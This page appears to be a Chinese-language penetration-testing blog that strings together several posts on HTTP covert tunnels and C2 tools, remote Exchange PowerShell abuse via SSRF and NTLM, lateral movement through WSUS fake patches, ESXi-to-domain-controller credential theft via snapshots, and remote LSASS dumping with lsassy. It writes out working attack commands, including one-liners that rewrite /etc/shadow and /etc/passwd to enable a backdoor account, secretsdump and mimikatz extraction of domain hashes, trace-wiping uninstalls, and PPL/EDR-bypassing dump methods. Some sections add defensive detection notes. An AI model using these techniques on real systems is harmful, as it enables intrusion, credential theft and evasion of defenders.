Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108944

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

一、概述在網絡安全領域,隱蔽隧道是一種基於主流常規協議將惡意流量偽裝成正常通信起到夾帶偷傳數據、下發控制指令等作用,同時對數據進行加密以最大限度的規避網絡安全設備檢測的傳輸技術。由於隱蔽隧道更容易繞過網絡安全設備的檢測,因此黑客對其的使用越來越廣泛,在攻防演練中,隱蔽隧道更是攻擊中必不可少的一環,在攻擊隊完成初始打點後,通常會建立外聯隱蔽隧道以維持內網權限,並進一步通過橫向移動最終獲得靶標,而隱蔽隧道的種類繁多,從協議的視角來看,常見的隧道種類有HTTP隧道、DNS隧道、ICMP隧道、SSH隧道、TCP隧道、UDP隧道等,這其中最為常見的當屬HTTP隧道,所以了解HTTP隱蔽隧道的特點及其對應的黑客工具,對於防禦方來說是至關重要的。

二、HTTP隧道詳解HTTP隧道是一種基於HTTP協議實現的網絡隧道,可以將任意類型的網絡流量通過HTTP協議的數據包進行傳輸,從而實現對網絡流量的加密和隱藏,WebShell、代理轉發、遠控回連等場景都能看到HTTP隧道活躍的身影。 HTTP隧道的主要特點包括:高效穩定、靈活隱蔽、適合加密,本文將詳細介紹HTTP隧道的主要特點和常用工具。

1、HTTP隧道的主要特點高效穩定:得益於作為隧道載體的HTTP協議成熟且強大,攻擊者可以使用標準HTTP協議帶來的一切便利,例如:簡單請求-響應模式帶來的穩定性、支持長連接與數據壓縮帶來的高傳輸性能與易於控制和管理等,這讓它可以很容易的適用於不同類型的網絡環境和應用場景。

靈活隱蔽:HTTP隧道良好擴展性帶來的高度可定制化能力,它可以自由的將需要傳輸的數據放在HTTP請求/響應頭或者HTTP載荷數據中的任意位置,不必局限於固定的某個字段,並且偷傳數據的同時還可以偽裝成正常的上網行為或者普通的HTTP業務流量,在網絡基礎設施高度發達的今天,還有CDN、雲函數等正經業務被用作其保護傘,這種隱蔽性非常強,可以很好的避免其被流量檢測設備和防火牆檢測出來,有效提高了隧道通信的存活能力。

【攻防演练篇】攻防演练场景中面临的常见加密威胁-HTTP隐蔽隧道-v2(4)874.png

圖1利用CDN傳輸數據

適合加密:HTTP隧道天生適合加密傳輸數據,因為HTTP協議本身就支持了URL編碼、Base64編碼、Gzip編碼、Deflate編碼、二進制編碼、Multiformat編碼等各式各樣的加密、壓縮與傳輸編碼方式,所以在此之上再對數據進行一層從簡單如XOR到復雜如AES的加密就讓真實的攻擊更難被與正常業務流量區分開來。不僅如此,HTTP隧道很多時候還可以披上TLS的外衣搖身一變成為HTTPS協議,這種嵌套加密技術成本極低,但檢測難度卻變的極大。

【攻防演练篇】攻防演练场景中面临的常见加密威胁-HTTP隐蔽隧道-v2(4)1135.png

圖2疊加了多種編碼方式的加密數據

2、支持HTTP隧道的常用工具攻擊者常用的黑客工具很多都支持HTTP隧道功能:

image.png

1. Chaos:一款C2工具,客戶端上線後能夠執行Shell、截屏、文件上傳下載、訪問指定url等功能。通信只使用HTTP協議,兩秒一次的心跳包,通信全程沒有加密,部分內容使用了Base64編碼。

2. CobaltStrike:Cobalt Strike是一款流行的滲透測試工具,由Raphael Mudge開發。它提供了一個高級的圖形界面,可用於通過社會工程學技術、漏洞利用和後期特權升級攻擊等手段入侵受控機器,並支持使用命令和控制服務器(C2)對受感染的主機進行遠程控制。它支持動態HTTP隧道,即在隧道連接過程中可以更改隧道參數,增加隧道的安全性,同時具有豐富的配置選項,可以根據具體的攻擊需求進行定制,包括端口號、請求頭、響應頭與各種編碼、加密方式等。

3.Empire:Empire是一款開源的滲透測試工具,可用於生成、編碼和部署各種類型的攻擊負載(Payload),並通過HTTP/HTTPS等協議與攻擊目標進行通信。 Empire提供了一個強大的命令行界面,可用於建立、配置和控制攻擊載荷,支持模塊化插件架構,使其可以輕鬆地擴展功能。這款工具結合了HTTP摔倒與TCP隧道:木馬發送HTTP請求時服務端會通過tcp返回指令內容,tcp載荷全部加密傳輸,當指令傳輸完畢,服務端會返迴響應200,該響應的載荷也是加密的。

4.Octopus:Octopus旨在與C2進行通信時保持高度隱秘,它的第一次請求url是生成木馬時自定義設置的,同時返回體中定義了aes-key、aes-iv、心跳時間以及後續使用的臨時命令下發url與心跳url,在這之後將隧道使用AES-256的方式加密。在此之上還可以通過為C2服務器配置有效的證書以使用HTTPS加強隱秘性。

5.ABPTTS:ABPTTS是NCC Group在2016年blackhat推出的一款將TCP流量通過HTTP/HTTPS進行流量轉發,在目前云主機的大環境中,發揮了比較重要的作用,可以通過腳本進行RDP,SSH,Meterpreter的交互與連接。這也意味著這樣可以建立一個通過80端口的隧道流量出站來逃避防火牆。與其它http隧道不同的是,abptts是全加密。但是可惜的是,ABPTTS只支持aspx和jsp。

三、總結由於HTTP隱蔽隧道擁有靈活且隱蔽的特性,傳統字符串與弱特徵匹配的檢測方式容易被繞過,並且從單包和單會話層面想找到隧道的明顯特點也非常困難。觀成科技安全研究團隊經過研究發現,對於HTTP隧道,可以從隧道通信的行為本身,以及攻擊者對HTTP協議的使用與正常業務的區別等方面挖掘特徵進行檢測。

0x00 前言Exchange Powershell基於PowerShell Remoting,通常需要在域內主機上訪問Exchange Server的80端口,限制較多。本文介紹一種不依賴域內主機發起連接的實現方法,增加適用範圍。

注:

該方法在CVE-2022–41040中被修復,修復位置:C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.HttpProxy.Common.dll中的RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress),如下圖

1.png

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

0x02 實現思路常規用法下,使用Exchange Powershell需要注意以下問題:

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN,不支持IP

常規用法無法在域外發起連接,而我們知道,通過ProxyShell可以從域外發起連接,利用SSRF執行Exchange Powershell

更進一步,在打了ProxyShell的補丁後,支持NTLM認證的SSRF沒有取消,我們可以通過NTLM認證再次訪問Exchange Powershell

0x03 實現細節在代碼實現上,我們可以加入NTLM認證傳入憑據,示例代碼:

3.png

在執行Exchange Powershell命令時,我們可以選擇pypsrp或者Flask,具體細節可參考之前的文章《ProxyShell利用分析2——CVE-2021-34523》 和《ProxyShell利用分析3——添加用户和文件写入》

pypsrp或者Flask都是通過建立一個web代理,過濾修改通信數據實現命令執行

為了增加代碼的適用範圍,這裡選擇另外一種實現方法:模擬Exchange Powershell的正常通信數據,實現命令執行

可供參考的代碼:https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58

代碼使用了Python2,實現了ProxyShell的利用

基於這個代碼,改寫成支持Python3,功能為通過NTLM認證訪問Exchange Powershell執行命令,具體需要注意的細節如下:

1.Python2和Python3在格式化字符存在差異(1)

Python2下可用的代碼:

4.png

以上代碼在Python3下使用時,需要將Str轉為bytes,並且為了避免不可見字符解析的問題,代碼結構做了重新設計,Python3可用的代碼:

11.png

(2)

Python2下可用的代碼:

12.png以上代碼在Python3下使用時,需要將Str轉為bytes,Python3可用的示例代碼:

13.png

(3)

Python2下可用的代碼:

15.png 16.png

以上代碼在Python3下使用時,需要將Str轉為bytes,為了避免不可見字符解析的問題,這裡不能使用.decode('utf-8'),改為使用.decode('ISO-8859-1')

Python3可用的示例代碼:

17.png

2.支持Exchange Powershell命令的XML文件格式XML文件格式示例1:

20.png

對應執行的命令為:Get-RoleGroupMember 'Organization Management'

XML文件格式示例2:

21.png

對應執行的命令為:Get-Mailbox -Identity administrator

通過格式分析,可得出以下結論:

(1)屬性Cmd對應命令名稱例如:

22.png

(2)傳入的命令參數需要注意格式如果只傳入1個參數,對應的格式為:

23.png如果傳入2個參數,對應的格式為:

24.png

如果傳入4個參數,對應的格式為:

25.png為此,我們可以使用以下代碼實現參數填充:

26.png構造XML文件格式的實現代碼:

27.png 28.png 29.png結合以上細節後,我們可以得出最終的實現代碼,代碼執行結果如下圖

Unknown.png

0x04 小結本文介紹了遠程訪問Exchange Powershell的實現方法,優點是不依賴於域內主機上發起連接,該方法在CVE-2022–41040中被修復。

0x00 前言在內網滲透中,當我們獲得了WSUS服務器的控制權限後,可以通過推送補丁的方式進行橫向移動。這個利用方法最早公開在BlackHat USA 2015。本文將要整理這個利用方法的相關資料,結合思路,得出行為檢測的方法。

0x01 簡介本文將要介紹以下內容:

環境搭建

利用思路

實現工具

行為檢測

0x02 環境搭建本節介紹WSUS服務器搭建的過程,通過配置客戶端實現補丁的推送

參考資料:

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10)

1.WSUS服務器搭建WSUS服務器需要安裝在Windows Server操作系統

(1)安裝

在添加角色和功能頁面,選擇Windows Server Update Services

需要指定補丁更新包的存放路徑,這裡可以設置為C:\WSUS

(2)配置

打開Windows Server Update Services進行配置

配置時選擇默認選項即可,在選擇Download update information from Microsoft Update時,點擊Start Connecting,如果報錯提示An HTTP error has occurred,經過我的多次測試,可以採用以下方法解決:

關閉當前頁面

進入Windows Server Update Services,選擇synchronization,點擊synchronization Now,等待同步完成,如下圖

1.png選擇Options,選擇WSUS Server Configuration Wizard,重新進入配置頁面,連接成功,如下圖

2.png配置完成後需要創建計算機組,如下圖

3.png

當同步完成後,會提示下載了多少個補丁,如下圖

4.png選擇Updates頁面,可以查看已下載的補丁,Unapproved表示未安裝的補丁,安裝後的補丁可以選擇Approved進行查看,如下圖

5.png選中一個補丁,點擊Approve.彈出的對話框可以針對指定計算機組安裝補丁,如下圖

6.png2.客戶端配置客戶端只要是Windows系統即可,需要通過組策略配置

依次選擇Computer Configuration-Administrative Templates-Windows Components-Windows Update,選擇Configure Automatic Updates,設置成Auto download and notify for install,選擇Specify intranet Microsoft update service location,設置更新服務器地址為http://192.168.1.182:8530

注:

需要指定端口8530

對於域環境,配置組策略後需要等待一段時間,這是因為組策略每90分鐘在後台更新一次,隨機偏移量為0-30分鐘,如果想立即生效,可以輸入命令:gpupdate /force

對於工作組環境,配置組策略可以立即生效

當客戶端開始補丁更新時,WSUS服務器會獲得客戶端的信息,並顯示在Computers頁面

組策略配置的操作等同於創建註冊表,具體信息如下:

(1)組策略配置自動更新後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

查詢命令:REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU'

返回結果示例:

7.png其中AUOptions對應組策略配置中的Configure automatic updating,2代表Notify for download and notify for install,3代表Auto download and notify for install,4代表Auto download and schedule the install,5代表Allow local admin to choose setting

(2)組策略配置服務器地址後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

查詢命令:REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate'

返回結果示例:

8.png3.推送補丁在WSUS服務器的Windows Server Update Services頁面,選擇指定補丁,右鍵點擊Approve.在彈出的對話框中選擇計算機組即可

等待客戶端到達補丁更新時間,即可完成補丁的推送

0x03 利用思路如果我們能夠生成一個帶有Payload的補丁,就能夠通過補丁進行橫向移動,但是在利用上需要注意補丁文件的簽名問題:Windows的補丁文件需要帶有微軟的簽名

通常的利用方法是使用帶有微軟簽名的程序,例如psexec,通過psexec執行命令或者添加一個管理員用戶

0x04 實現工具開源的工具有以下三個:

https://github.com/nettitude/SharpWSUS

https://github.com/AlsidOfficial/WSUSpendu

https://github.com/ThunderGunExpress/Thunder_Woosus

以上三個工具的實現原理基本相同,都是創建一個調用psexec執行命令的補丁,將補丁推送至指定計算機,等待目標計算機更新補丁

創建補丁的操作需要連接SQL數據庫,依次實現以下操作:

ImportUpdate

PrepareXMLtoClient

InjectURL2Download

DeploymentRevision

PrepareBundle

PrepareXMLBundletoClient

DeploymentRevision

1.創建補丁SharpWSUS在創建補丁時需要注意轉義字符,命令示例:

9.png這條命令將會在Updates的Security Updates頁面下創建WSUSDemo,如下圖

10.png2.補丁部署將補丁部署到指定計算機組,命令示例:

11.png這條命令會創建計算機組Demo Group,並且把win-iruj9k30gr7移動到該組下面,如下圖

12.png接下來需要等待客戶端安裝這個補丁

3.查看補丁狀態查看補丁是否被安裝,命令示例:

13.png補丁未安裝的輸出如下:

14.png還有一種查看方法是查看計算機的補丁更新時間,示例命令:SharpWSUS.exe inspect

輸出示例:

15.png為了便於測試,可以強制客戶端更新補丁,看到新的補丁信息,如下圖

16.png4.清除補丁信息命令示例:

17.png這條命令會刪除補丁,刪除添加的計算機組

在整個補丁更新過程中,WSUS服務器會將psexec.exe保存在WSUS服務器本地C:\wsus\wuagent.exe和C:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe,需要手動清除

在測試WSUSpendu時,為了便於分析細節,可以修改以下代碼:

18.png命令行執行:powershell -ep bypass -f WSUSpendu.ps1 -Verbose,將會輸出完整的信息

0x05 行為檢測客戶端的補丁歷史更新記錄會保存所有的補丁安裝信息:

如下圖

19.png

但是,攻擊者如果獲得了系統的管理員控制權限,可以通過命令行卸載補丁的方式清除歷史更新記錄,命令行卸載補丁的命令示例:

查看更新:wmic qfe list brief/format:table

卸載指定更新:wusa /uninstall /kb:976902 /quiet /norestart

0x06 小結本文介紹了通過WSUS進行橫向移動的方法和實現工具,結合利用思路,給出行為檢測的建議。

參考資料:

https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf

https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/

https://labs.nettitude.com/blog/introducing-sharpwsus/

0x00 前言假定以下測試環境:我們獲得了內網VMware ESXI的控制權限,發現VMware ESXI上安裝了Windows域控服務器。

本文僅在技術研究的角度介紹從VMware ESXI橫向移動到該Windows域控服務器的方法,結合利用思路,給出防禦檢測的方法。

0x02 簡介本文將要介紹以下內容:

马云惹不起马云利用思路

马云惹不起马云常用命令

马云惹不起马云 實現方法

0x03 利用思路通過VMware ESXI管理虛擬機,創建快照文件,從快照文件中提取出有價值的信息。

0x04 常用命令1.查看虛擬機版本vmware-vl2.用戶信息相關(1)查看所有用戶

esxclisystemaccountlist(2)查看管理員用戶

esxclisystempermissionlist(3)添加用戶

esxclisystemaccountadd-itest1-pPassword@1-cPassword@1(4)將普通用戶添加成管理員用戶

esxclisystempermissionset-itest1-rAdmin(5)啟用內置管理員賬戶

默認配置下,dcui是管理員用戶,但是不允許遠程登錄,可以通過修改配置文件的方式設置dcui用戶的口令並啟用遠程登錄。

設置dcui用戶口令為Ballot5Twist7upset,依次輸入:

passwddcui

Ballot5Twist7upset

Ballot5Twist7upset一鍵設置dcui用戶口令:sed -i 's/dcui:\*:13358:0:99999:7:/dcui:$6$NaeURj2m.ZplDfbq$LdmyMwxQ7FKh3DS5V\/zhRQvRvfWzQMSS3wftFwaUsD9IZuxdns.0X.SPx.59bT.kmJOJ\/y3zenTmEcoxDVQsS\/:19160:0:99999:7:/g' /etc/shadow

啟用dcui用戶遠程登錄:

修改文件/etc/passwd,將dcui:x:100:100:DCUI User:/:/sbin/nologin修改為dcui:x:100:100:DCUI User:/:/bin/sh

一鍵啟用dcui用戶遠程登錄:sed -i 's/dcui:x:100:100:DCUI User:\/:\/sbin\/nologin/dcui:x:100:100:DCUI User:\/:\/bin\/sh/g' /etc/passwd

開啟ssh:

vim-cmdhostsvc/enable_ssh3.虛擬機相關(1)查看所有虛擬機

image.png

(2)查看指定虛擬機的狀態

image.png

(3)開啟指定虛擬機,可用於開機和從掛起狀態恢復

image.png

(4)掛起指定虛擬機

image.png

(5)關閉指定虛擬機

image.png

(6)查看指定虛擬機的操作日誌

image.png

4.虛擬機快照相關

(1)查看指定虛擬機的快照信息

image.png

(2)新建快照

image.png

示例1:

image.png

includeMemory 設置為true,表示包括內存,否則無法生成.vmem文件。

示例2:

image.png

這個命令等價於vim-cmd vmsvc/snapshot.create 1 test '' false false,不包括內存,不會生成.vmem文件。

(3)刪除快照

image.png

0x05 實現方法1.獲得虛擬機的vmid image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的vmid為1

2.查看虛擬機的快照信息image.png

測試環境下沒有虛擬機快照。

3.為虛擬機創建快照image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的snapshotIndex為1

4.使用volatility分析快照文件volatility是一款開源的取證分析軟件。

Python2版本的地址:https://github.com/volatilityfoundation/volatility

Python3版本的地址:https://github.com/volatilityfoundation/volatility3

volatility和volatility3的命令語法不同,功能基本相同,最新版本為volatility3,但這裡選擇volatility,理由如下:

马云惹不起马云 volatility有獨立的可執行程序,volatility3需要自己編譯

马云惹不起马云volatility3有mimikatz插件,可以從lsass進程提取數據,volatility3不支持這個插件

(1)定位鏡像文件

搜索後綴名為vmem的文件,命令如下:

image.png

測試環境下,獲得鏡像文件位置為./vmfs/volumes/62a735a8-ad916179-40dd-000c296a0829/DC1/DC1-Snapshot1.vmem

(2)上傳volatility_2.6_lin64_standalone

volatility_2.6_lin64_standalone的下載地址:

http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip

分析快照文件需要.vmem文件作為參數,而.vmem文件通常很大,為了提高效率,這裡選擇將volatility上傳至VMware ESXI,在VMware ESXI上分析快照文件。

(3)查看鏡像信息

通過鏡像信息獲得系統版本,命令如下:

image.png測試環境下,獲得Profile為Win2016x64_14393

(4)從註冊表獲得本地用戶hash

命令如下:

image.png

測試環境下,輸出結果:

image.png

(5)從註冊表讀取LSA Secrets

命令如下:

image.png

測試環境下,輸出結果:

image.png

(6)導出所有域用戶hash

需要下載ntds.dit、SYSTEM文件和SECURITY文件。

定位ntds.dit文件,命令如下:

image.png

輸出:

image.png

提取ntds.dit文件,命令如下:

image.png

依次再提取出SYSTEM文件和SECURITY文件,導出所有域用戶hash可以使用secretsdump,命令為:secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

(7)加載mimikatz插件,讀取lsass進程中保存的憑據

volatility_2.6_lin64_standalone不支持加載mimikatz插件,這裡可以選擇將整個快照文件(DC1-Snapshot1.vmem)下載至本地,搭建volatility環境,加載mimikatz插件。

kali安裝volatility的方法:

1. 安裝image.png

2. 測試volatility image.png

3. 添加mimikatz插件下載地址:https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py

將mimikatz.py保存至

4.安裝mimikatz插件的依賴image.png

這裡不能直接使用pip2 install construct,construct版本過高會導致在加載mimikatz.py時報錯AttributeError: 'module' object has no attribute 'ULInt32'

5.測試插件image.png

輸出:

image.png

安裝成功。

加載mimikatz插件的命令如下:

image.png

輸出結果:

image.png

補充:

讀取lsass進程中保存的憑據還可以使用以下方法:

1. 將鏡像文件轉成Crash Dump文件

image.png2. 使用Mimilib從dump文件中導出口令

詳細方法可參考之前的文章《渗透技巧——使用Mimilib从dump文件中导出口令》

5.刪除快照

image.png

0x06 防禦檢測1. 防禦內網VMware ESXI及時更新補丁

關閉內網VMware ESXI的ssh登錄功能

2. 檢測查看內網VMware ESXI登錄日誌

查看虛擬機快照鏡像標誌snapshotIndex是否異常,對於新的虛擬機,新建快照標誌snapshotIndex從1開始累加,刪除快照鏡像不會影響snapshotIndex,例如刪除snapshotIndex為1的快照,再次創建快照時snapshotIndex為2`

0x07 小結本文在技術研究的角度介紹了從VMware ESXI橫向移動到該Windows域控服務器的方法,使用volatility分析鏡像文件,提取關鍵信息,結合利用思路,給出防禦檢測的方法。

0x00 前言遠程執行Exchange Powershell命令可以通過Powershell建立powershell session 實現。而在滲透測試中,我們需要盡可能避免使用Powershell,而是通過程序去實現。本文將要介紹通過Python實現遠程執行Exchange Powershell命令的細節,分享使用Python實現TabShell利用的心得。

0x01 簡介本文件將介紹以下內容:

執行Exchange Powershell 命令的實際方法

開發細節

TabShell利用細節

0x02 執行Exchange Powershell 命令的實際方法1.使用Powershell連接Exchange服務器,執行Exchange Powershell命令命令示例:

1.png

需要注意以下問題:

需要域內主機上執行

需要fqdn,不支持IP

連接url可以選擇http或者https

認證方式可以選擇Basic或者Kerberos

2.使用Python連接Exchange服務器,執行Exchange Powershell命令這裡需要使用pypsrp

命令示例:

2.png

0x03 開發細節這裡需要了解具體的通信格式,我採用的方法是使用pypsrp,打開調試信息,查看具體發送的數據格式

1.啟動調試信息將調試信息寫到文件,代碼如下:

3.png

2.增加調試輸出內容修改文件pypsrp/wsman.py,在def send(self, message: bytes)中添加調試輸出信息

具體代號位置:

https://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L834,添加代碼:

4.pnghttps://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L841,添加代碼:

5.png輸出結果顯示如下圖

6.png

3.數據包數據結構可參考之前的文章《渗透技巧——远程访问Exchange Powershell》

經過對比分析,在編寫程序上還需要注意以下細節:

(1)Kerberos認證的實際情況

示例代碼:

7.png

(2)通信數據格式

類型為POST

header需要包裹:'Accept-Encoding': 'identity'

(3)認證流程

需要先進行Kerberos認證,返回長度為0

再次發送數據,進行通信,返回正常內容

(4)數據編碼

發送和接收的數據平均做了編碼

發送過程序的代碼顯示示例代碼:

8.png

注:

hostname必須為小寫字符

接收過程序的解碼示例代碼:

9.png完整展示示例代碼如下:

10.png 11.png完整代碼的輸出結果如下圖

12.png

0x04 TabShell利用細節TabShell的公開POC使用Powershell連接取接Exchange服務器,執行特殊構造的Exchange Powershell命令接觸,為便於分析中間的通信數據,可以採用以下方法擦拭中間:

1.通過Flask構建本地代理服務器方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》

2.通過Flask實現SSRFSSRF漏洞可選擇CVE-2022-41040或CVE-2022-41080

3.在Flask中輸出中間的通信數據關鍵字代碼示例:

13.png根據通信數據,我們可以很容易地寫出TabShell的Python現代代碼,完整代碼的輸出結果如下圖

14.png

0x05 小結本文件介紹了通過Python 實現遠程執行Exchange Powershell 命令的細節,分享使用Python 實現TabShell 使用的心得。

0x00 前言在之前文章《渗透基础——从lsass.exe进程导出凭据》 介紹了本地導出憑據的方法,而在滲透測試中,經常遇到的情況是需要遠程導出憑據,本文將要介紹遠程導出憑據的思路和方法,記錄細節。

0x01 簡介本文將要介紹以下內容:

思路

實現方法

lsassy介紹

0x02 思路在遠程導出憑據時,需要考慮以下幾點:

(1)需要實現遠程命令執行,關於遠程命令執行,可以參考之前的文章《在远程系统上执行程序的技术整理》

(2)由於保護措施的限制,不同環境需要不同的導出方法

(3)遠程導出lsass進程的dump文件後,通常會選擇將dump文件複製到本地,解析得到口令hash,而有的時候lsass進程的dump文件很大,所以需要考慮傳輸文件的效率

(4)對於多個系統,重複勞動太多,效率不高

綜合以上幾點,我們需要一個方便快捷的方法:支持多種導出方法,能夠直接解析出口令hash,操作自動化以提高效率。

這裡可以使用開源工具Lsassy,地址為:https://github.com/Hackndo/lsassy

0x03 lsassy介紹1.安裝使用安裝命令:

pipinstalllsassy測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1在輸出上,使用termcolor添加了顏色顯示,在默認Windows cmd下無法正常顯示顏色,會導致顯示格式不友好,存在一些亂碼。

為了解決Windows下格式亂碼的問題,可以修改Python \lib\site-packages\lsassy\logger.py,代碼如下:

importlogging

importos

importsys

classLsassyFormatter(logging.Formatter):

def__init__(self):

logging.Formatter.__init__(self,'%(bullet)s%(threadName)s%(message)s',None)

ifos.name=='nt':

self.BLUE,self.WHITE,self.YELLOW,self.RED,self.NC='','','','',''

else:

self.BLUE='\033[1;34m'

self.WHITE='\033[1;37m'

self.YELLOW='\033[1;33m'

self.RED='\033[1;31m'

self.GREEN='\033[1;32m'

self.NC='\033[0m'

defformat(self,record):

ifrecord.levelno==logging.INFO:

record.bullet='[*]{}'.format(self.NC)

elifrecord.levelno==logging.DEBUG:

record.bullet='[*]{}'.format(self.NC)

elifrecord.levelno==logging.WARNING:

record.bullet='[!]{}'.format(self.NC)

elifrecord.levelno==logging.ERROR:

record.bullet='[x]{}'.format(self.NC)

else:

record.bullet='[+]{}'.format(self.NC)

ifrecord.exc_infoandlogging.getLogger().getEffectiveLevel()!=logging.DEBUG:

record.exc_info=None

returnlogging.Formatter.format(self,record)

defhighlight(msg):

returnmsg

definit(quiet=False):

handler=logging.StreamHandler(sys.stdout)

handler.setFormatter(LsassyFormatter())

logging.getLogger().addHandler(handler)

logging.getLogger().setLevel(logging.INFO)

logging.addLevelName(25,'SUCCESS')

setattr(logging,'success',lambdamessage,*args:logging.getLogger()._log(25,message,args))

logging.getLogger().disabled=quiet2.打包成exe這裡可以使用pyinstaller,主程序代碼為https://github.com/Hackndo/lsassy/blob/master/lsassy/console.py

打包成單獨exe的命令:

pyinstaller-Fconsole.py生成console.exe後,在執行時會報錯提示缺少Module

根據輸出提示修改打包命令,添加引用Module:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4此時雖然能夠正常啟動console.exe,但是無法運行導出功能。

調試方法:添加參數-vv,能夠看到lsassy.dumpmethod.comsvcs找不到

添加所有依賴包,得到完整的打包命令:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importls assy.dumpmethod.dllinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden- importlsassy.dumpmethod.ppldump--hidden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importls assy.exec.smb--hidden-importlsassy.exec.smb_stealth--hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output此時生成的console.exe可以正常使用。

3.支持的導出方法(1)comsvcs

使用C:\windows\system32\comsvcs.dll的導出函數MiniDump()獲得lsass進程的dump文件。

細節可參考之前的文章《MiniDumpWriteDump via COM+ Services DLL》 的利用測試。

可直接使用。

(2)comsvcs_stealth

方法類似comsvcs,區別是先將C:\windows\system32\comsvcs.dll複製到c:\windows\temp並重命名,使用新的dll獲得lsass進程的dump文件。

可直接使用。

(3)dllinject

通過dll注入的方式實現

APC注入的方法可參考《通过APC实现Dll注入——绕过Sysmon监控》 。

需要加入參數: -O loader_path=loader.exe,dll_path=inject.dll

(4)dumpert

技術細節:https://github.com/outflanknl/Dumpert

通過API MiniDumpWriteDump()獲得lsass進程的dump文件。

需要加入參數: -O dumpert_path=dumpert.exe

(5)dumpertdll

方法同上,區別是使用dll文件作為參數。

需要加入參數: -O dumpertdll_path=dumpert.dll

(6)edrsandblast

技術細節:https://github.com/wavestone-cdt/EDRSandblast

利用帶有簽名的驅動程序獲得lsass進程的dump文件

需要加入參數: -O edrsandblast_path=EDRSandBlast.exe,RTCore64_path=RTCore64.sys,ntoskrnl_path=NtoskrnlOffsets.csv

(7)mirrordump

技術細節:https://github.com/CCob/MirrorDump

實現流程:

加載一個LSA SSP插件

在插件中洩露lsass.exe的進程句柄

通過API MiniDumpWriteDump()獲得lsass進程的dump文件

需要加入參數: -O mirrordump_path=Mirrordump.exe

(8)mirrordump_embedded

方法同上,不需要Mirrordump.exe作為參數。

需要注意的是mirrordump無法自動清除已註冊的LSA SSP插件,使用該方法後會留下以下痕跡:

LSA SSP插件保存在C:\Windows\System32,名稱為八位隨機字符,後綴名為dll

lsass進程中殘留未卸載的dll

痕跡如下圖

d2d17af8a1c234df1169a5c7b5cc891.png

清除痕蹟的方法:先卸載lsass進程中加載的dll,再刪除dll文件。

關於枚舉和清除LSA SSP插件的細節可參考之前的文章《Mimikatz中SSP的使用》 。

可直接使用。

(9)nanodump

技術細節:https://github.com/helpsystems/nanodump

優點是支持多種方式洩露lsass進程句柄。

需要加入參數: -O nanodump_path=nanodump.exe

(10)ppldump

技術細節:https://github.com/itm4n/PPLdump

支持Win10和Server2019

能夠繞過PPL(Protected Process Light)對lsass進程的保護。

相關細節:

https://itm4n.github.io/lsass-runasppl/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

需要加入參數: -O ppldump_path=PPLdump.exe

(11)ppldump_embedded

方法同上,不需要PPLdump.exe作為參數。

可直接使用。

(12)procdump

通過procdump.exe獲得lsass進程的dump文件。

需要加入參數: -O procdump_path=procdump.exe

(13)procdump_embedded

方法同上,不需要procdump.exe作為參數。

可直接使用。

(14)rdrleakdiag

目標系統需要在c:\windows\system32\下存在文件rdrleakdiag.exe

默認存在的系統:

Windows 10,10.0.15063.0

Windows 8.1,6.3.9600.17415

Windows 8,6.2.9200.16384

Windows7,6.1.7600.16385

Windows Vista,6.0.6001.18000

只能執行一次,再次執行需要重新啟動操作系統。

可直接使用。

(15)wer

技術細節:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

通過Powershell調用API MiniDumpWriteDump()獲得lsass進程的dmp文件。

可直接使用。

